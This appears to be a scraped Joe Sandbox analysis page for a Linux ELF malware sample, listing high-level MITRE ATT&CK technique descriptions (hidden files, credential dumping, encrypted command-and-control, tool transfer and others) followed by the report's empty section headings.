Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report VkiGKeyI3L.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

HTTPS Connections

System Behavior

Analysis Process: VkiGKeyI3L.elf PID: 5474, Parent PID: 5395

General

Chronological Activities

Analysis Process: VkiGKeyI3L.elf PID: 5475, Parent PID: 5474

General

Chronological Activities

Analysis Process: VkiGKeyI3L.elf PID: 5476, Parent PID: 5475

Linux Analysis Report
VkiGKeyI3L.elf